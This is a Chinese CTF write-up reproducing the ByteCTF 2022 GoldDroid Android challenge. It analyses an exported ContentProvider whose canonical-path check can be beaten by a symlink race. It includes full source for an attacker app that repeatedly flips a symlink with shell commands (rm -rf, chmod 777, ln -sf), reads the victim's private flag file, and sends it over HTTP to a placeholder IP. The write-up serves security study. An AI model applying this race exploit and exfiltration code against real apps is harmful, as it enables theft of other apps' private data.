Bytectf2022 GoldDroid复现

APK分析

AndroidManifest.xml

这里的VulProvider是导出的,谁都可以通过 content://slipme/… 来访问这个 Provider

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android" android:versionCode="1" android:versionName="1.0" android:compileSdkVersion="32" android:compileSdkVersionCodename="12" package="com.bytectf.golddroid" platformBuildVersionCode="32" platformBuildVersionName="12">
<uses-sdk android:minSdkVersion="21" android:targetSdkVersion="27"/>
<application android:theme="@style/Theme.GoldDroid" android:label="@string/app_name" android:icon="@mipmap/ic_launcher" android:debuggable="true" android:allowBackup="true" android:supportsRtl="true" android:fullBackupContent="@xml/backup_rules" android:roundIcon="@mipmap/ic_launcher_round" android:appComponentFactory="androidx.core.app.CoreComponentFactory" android:dataExtractionRules="@xml/data_extraction_rules">
<activity android:name="com.bytectf.golddroid.MainActivity" android:exported="true">
<intent-filter>
<action android:name="android.intent.action.MAIN"/>
<category android:name="android.intent.category.LAUNCHER"/>
</intent-filter>
</activity>
<provider android:name="com.bytectf.golddroid.VulProvider" android:exported="true" android:authorities="slipme"/>
<receiver android:name="com.bytectf.golddroid.FlagReceiver" android:exported="false">
<intent-filter>
<action android:name="com.bytectf.SET_FLAG"/>
</intent-filter>
</receiver>
<provider android:name="androidx.startup.InitializationProvider" andraoid:exported="false" android:authorities="com.bytectf.golddroid.androidx-startup">
<meta-data android:name="androidx.emoji2.text.EmojiCompatInitializer" android:value="androidx.startup"/>
<meta-data android:name="androidx.lifecycle.ProcessLifecycleInitializer" android:value="androidx.startup"/>
</provider>
</application>
</manifest>

FlagReceiver

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
package com.bytectf.golddroid;

import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.util.Log;
import java.io.File;
import java.io.FileWriter;
import java.io.IOException;

/* loaded from: classes3.dex */
public class FlagReceiver extends BroadcastReceiver {
@Override // android.content.BroadcastReceiver
public void onReceive(Context context, Intent intent) {
String flag = intent.getStringExtra("flag");
if (flag != null) {
File file = new File(context.getFilesDir(), "flag");
writeFile(file, flag);
Log.e("FlagReceiver", "received flag.");
}
}

/* JADX WARN: Unsupported multi-entry loop pattern (BACK_EDGE: B:7:0x0016 -> B:23:0x0026). Please submit an issue!!! */
private void writeFile(File file, String s) {
FileWriter writer = null;
try {
try {
try {
writer = new FileWriter(file, true);
writer.write(s);
writer.write(10);
writer.close();
} catch (IOException e) {
e.printStackTrace();
if (writer != null) {
writer.close();
}
}
} catch (IOException e2) {
e2.printStackTrace();
}
} catch (Throwable th) {
if (writer != null) {
try {
writer.close();
} catch (IOException e3) {
e3.printStackTrace();
}
}
throw th;
}
}
}

MainActivity

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
package com.bytectf.golddroid;

import android.os.Bundle;
import androidx.appcompat.app.AppCompatActivity;
import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;
import java.nio.charset.StandardCharsets;

public class MainActivity extends AppCompatActivity {
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
File externalFile = new File(getExternalFilesDir("sandbox"), "file1");
try {
FileOutputStream fileOutputStream = new FileOutputStream(externalFile);
fileOutputStream.write("I'm in external\n".getBytes(StandardCharsets.UTF_8));
fileOutputStream.close();
} catch (IOException e) {
e.printStackTrace();
}
}
}
1
2
3
4
File externalFile = new File(
getExternalFilesDir("sandbox"),
"file1"
);

getExternalFilesDir(“sandbox”) 返回 App 专属的外部存储目录,不需要任何存储权限

真实路径一般是:

1
/storage/emulated/0/Android/data/com.bytectf.golddroid/files/sandbox/

写入I’m in external

VulProvider

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
package com.bytectf.golddroid;

import android.content.ContentProvider;
import android.content.ContentValues;
import android.database.Cursor;
import android.net.Uri;
import android.os.ParcelFileDescriptor;
import java.io.File;
import java.io.FileNotFoundException;
import java.io.IOException;

public class VulProvider extends ContentProvider {
@Override // android.content.ContentProvider
public ParcelFileDescriptor openFile(Uri uri, String mode) throws FileNotFoundException {
File root = getContext().getExternalFilesDir("sandbox");
File file = new File(getContext().getExternalFilesDir("sandbox"), uri.getLastPathSegment());
try {
} catch (IOException e) {
e.printStackTrace();
}
if (!file.getCanonicalPath().startsWith(root.getCanonicalPath())) {
throw new IllegalArgumentException();
}
return ParcelFileDescriptor.open(file, 268435456);
}

@Override // android.content.ContentProvider
public boolean onCreate() {
return false;
}

@Override // android.content.ContentProvider
public Cursor query(Uri uri, String[] projection, String selection, String[] selectionArgs, String sortOrder) {
return null;
}

@Override // android.content.ContentProvider
public String getType(Uri uri) {
return null;
}

@Override // android.content.ContentProvider
public Uri insert(Uri uri, ContentValues values) {
return null;
}

@Override // android.content.ContentProvider
public int delete(Uri uri, String selection, String[] selectionArgs) {
return 0;
}

@Override // android.content.ContentProvider
public int update(Uri uri, ContentValues values, String selection, String[] selectionArgs) {
return 0;
}
}

ContentProvider是给外部或内部通过 content:// URI 访问文件用的组件,是一个总规范,这里是其的一个实现,而FileProvider是其另一个实现

只实现了 openFile()

1
public ParcelFileDescriptor openFile(Uri uri, String mode)

当用 content://slipme/... 访问时系统调用这个方法返回一个 文件描述符,让对方读这个文件

获取应用的外部存储 sandbox 目录,取 URI 最后一段作为文件名,在 sandbox 目录下拼出一个文件路径

ParcelFileDescriptor 是可以跨进程传递的文件句柄,ContentProvider 可能被别的 App(别的进程)调用普通 File / InputStream 不能跨进程传Android 需要一种 IPC 安全传文件的方式,底层是 Linux 的 file descriptor(fd),外面包了一层,可序列化,可通过 Binder 传递

IPC 是不同进程之间相互通信的机制

file.getCanonicalPath()获取文件的真实、规范、去歧义路径,消除 ...,解析符号链接(symlink)返回系统认可的唯一绝对路径

1
2
File f = new File("/sdcard/test/../a.txt");
f.getCanonicalPath();

结果是:

1
/sdcard/a.txt

再比如(有软链接)

1
2
/sdcard/link -> /data/data/app/secret.txt
file.getCanonicalPath();

返回的是:

1
/data/data/app/secret.txt

杜绝目录穿越

root.getCanonicalPath()

以只读模式打开这个文件,文件句柄返回给调用方

这个 Provider 的功能就是:允许通过 content://slipme/文件名,只读方式打开应用 externalFilesDir/sandbox 目录下的文件

这里如果使用软链接,则会返回软链接指向的路径,这是本题的关键点。

漏洞分析

根据xml和provider可以想到以content://simple/../../../xxx这样目录穿越形式访问flag

getCanonicalPath回去把..和.去掉,需要绕过,此外getLastPathSegment,只会保留最后一段,但是canonicalPath + startsWith(root) 会拦住跳出 sandbox 的真实路径

这里突然想到为什么能目录穿越去访问另一个目录的文件?Android不是做了存储分区吗?访问隔离,即一个APP不能随意访问另一个APP的数据,就是之前ByteCTF2021的Bytedroid1 再回顾了下,当时确实没太理解为什么给777,就是为了让一个APP访问另一个APP的evil.HTML

因此可以想到使用软链接的方法进行读取,可以通过在pwngolddroid的数据目录下创建软链接指向/data/data/com.bytectf.golddroid/files/flag ,然后进行读取,但是软链接同样无法通过校验,因为校验会直接拿到软链接指向的实际路径。但是通过观察发现虽然校验是获取了绝对路径,但是读取还是直接使用file进行读取,所以可以想到不断的切换创建的软链接指向的实际文件,进行条件竞争,直到flag被成功读取。

因此可以编写pwngolddroid反复链接两个文件,利用条件竞争读取flag

校验阶段希望看到什么?

校验条件是:

1
canonicalPath.startsWith(sandboxPath)

所以在校验发生的那一刻:symlink 必须指向

1
/storage/emulated/0/Android/data/com.bytectf.golddroid/files/sandbox/file1

读取阶段希望看到什么?

读取真正发生在:

1
ParcelFileDescriptor.open(file)

直接用当前文件对象去打开。所以在读取发生的那一刻

symlink 必须已经被切换成指向

1
/data/data/com.bytectf.golddroid/files/flag

这样读到的内容才是 flag。

两个线程,其中一个不断改变symlink的指向,指向合法的files和非法的flag,另外一个不断请求provider读取symlink ,等待请求到flag开头的数据就通过http回传(真实环境不是flag开头,而是ByteCTF)

1
ln -sf <被指向的目标> <软链接文件本身>

构建APP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
package com.bytectf.pwngolddroid;

import android.net.Uri;
import android.os.Bundle;
import android.os.ParcelFileDescriptor;
import android.util.Log;

import androidx.activity.EdgeToEdge;
import androidx.appcompat.app.AppCompatActivity;
import androidx.core.graphics.Insets;
import androidx.core.view.ViewCompat;
import androidx.core.view.WindowInsetsCompat;

import java.io.BufferedReader;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.IOException;
import java.net.HttpURLConnection;
import java.net.URL;

public class MainActivity extends AppCompatActivity {

public String dataDir;

@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
EdgeToEdge.enable(this);
setContentView(R.layout.activity_main);
dataDir = getApplication().getApplicationInfo().dataDir;
Log.d("Test",dataDir);
Uri uri = Uri.parse("content://slipme/file1/%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2Fdata%2Fdata%2Fcom%2Ebytectf%2Epwngolddroid%2Ffiles%2Fsymlink");

try {
Runtime.getRuntime().exec("chmod 777 -R " + dataDir).waitFor();
Runtime.getRuntime().exec("rm -rf " + dataDir + "/files").waitFor();
Runtime.getRuntime().exec("mkdir " + dataDir + "/files").waitFor();
Runtime.getRuntime().exec("ln -sf /storage/emulated/0/Android/data/com.bytectf.golddroid/files/sandbox/file1 " + dataDir + "/files/symlink").waitFor();
Runtime.getRuntime().exec("chmod 777 -R " + dataDir + "/files").waitFor();
} catch (InterruptedException e) {
e.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
}

new Thread(new Runnable() {
@Override
public void run() {
while (true) {
try {
Runtime.getRuntime().exec("ln -sf /storage/emulated/0/Android/data/com.bytectf.golddroid/files/sandbox/file1 " + dataDir + "/files/symlink").waitFor();
Runtime.getRuntime().exec("ln -sf /data/data/com.bytectf.golddroid/files/flag " + dataDir + "/files/symlink").waitFor();
Runtime.getRuntime().exec("chmod 777 -R " + dataDir + "/files").waitFor();
} catch (InterruptedException e) {
e.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
}
}
}
}).start();


new Thread(new Runnable() {
@Override
public void run() {
while (true) {
try {
if (uri != null) {
Log.d("Test", uri.toString());
ParcelFileDescriptor parcelFileDescriptor = getContentResolver().openFileDescriptor(uri, "r");
FileInputStream fileInputStream = new FileInputStream(parcelFileDescriptor.getFileDescriptor());

byte[] buffer = new byte[1024];
int bytesRead;
StringBuilder stringBuilder = new StringBuilder();
while ((bytesRead = fileInputStream.read(buffer)) != -1) {
stringBuilder.append(new String(buffer, 0, bytesRead));
}

fileInputStream.close();
parcelFileDescriptor.close();
String fileContent = stringBuilder.toString();
if (fileContent.startsWith("flag")) {
httpGet(fileContent);
}
Log.d("TEST", fileContent);
}
} catch (FileNotFoundException e) {
// e.printStackTrace();
} catch (IOException e) {
// e.printStackTrace();
}catch (IllegalArgumentException e){

}
}

}
}).start();
}

private void httpGet(String msg) {
new Thread(new Runnable() {
@Override
public void run() {
HttpURLConnection connection = null;
BufferedReader reader = null;
try {
URL url = new URL("http://xxx.xxx.xxx.xxx:8000/?msg=" + msg);
connection = (HttpURLConnection) url.openConnection();
connection.setRequestMethod("GET");
connection.getInputStream();
} catch (IOException e) {
e.printStackTrace();
}
}
}).start();

}
}

这里需要注意必须要捕获IllegalArgumentException e异常,来处理校验不通过时的情况,否则抛出异常而不进行异常捕获,APP将会直接退出。

这里还需要注意,如果targetSdk设置为30及以上,需要在pwngolddroid的Manifest中添加provider的需求声明,否则无法访问provider ,如果设置为27进行编译,则不需要进行声明

在创建应用时,请务必考虑您的应用需要与之交互的设备中的其他应用。如果您的应用以 Android 11(API 级别 30)或更高版本为目标平台,在默认情况下,系统会自动让部分应用对您的应用可见,但会过滤掉其他应用。本指南将介绍如何让上述其他应用对您的应用可见。

如果您的应用以 Android 11 或更高版本为目标平台,并且需要与并非自动可见的应用交互,请在您应用的清单文件中添加 元素。在 元素中,按软件包名称、按 intent 签名或按提供程序授权指定其他应用,如以下部分所述。

了解自动可见的软件包 | App architecture | Android Developers

这是 Android 11(API 30)引入的新机制Android 11 开始,默认看不见别的 App即使Provider 是 exported=trueauthority 是对的系统也会直接拦

image-20260128215511740

xml:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:tools="http://schemas.android.com/tools">
<uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
<queries>
<provider android:authorities="slipme" />
</queries>
<queries>
<package android:name="com.bytectf.golddroid" />
</queries>
<application
android:allowBackup="true"
android:dataExtractionRules="@xml/data_extraction_rules"
android:fullBackupContent="@xml/backup_rules"
android:icon="@mipmap/ic_launcher"
android:label="@string/app_name"
android:roundIcon="@mipmap/ic_launcher_round"
android:supportsRtl="true"
android:theme="@style/Theme.Pwngolddroid"
android:usesCleartextTraffic="true">
<activity
android:name=".MainActivity"
android:exported="true">
<intent-filter>
<action android:name="android.intent.action.MAIN" />

<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
</application>

</manifest>

image-20260128214946495

image-20260128215019077

1
2
3
4
5
6
7
8
<queries>
<provider android:authorities="slipme" />
</queries>
允许App看见并访问authority 为 slipme 的 ContentProvider
<queries>
<package android:name="com.bytectf.golddroid" />
</queries>
允许你的 App看见整个应用包名是 com.bytectf.golddroid

这俩都行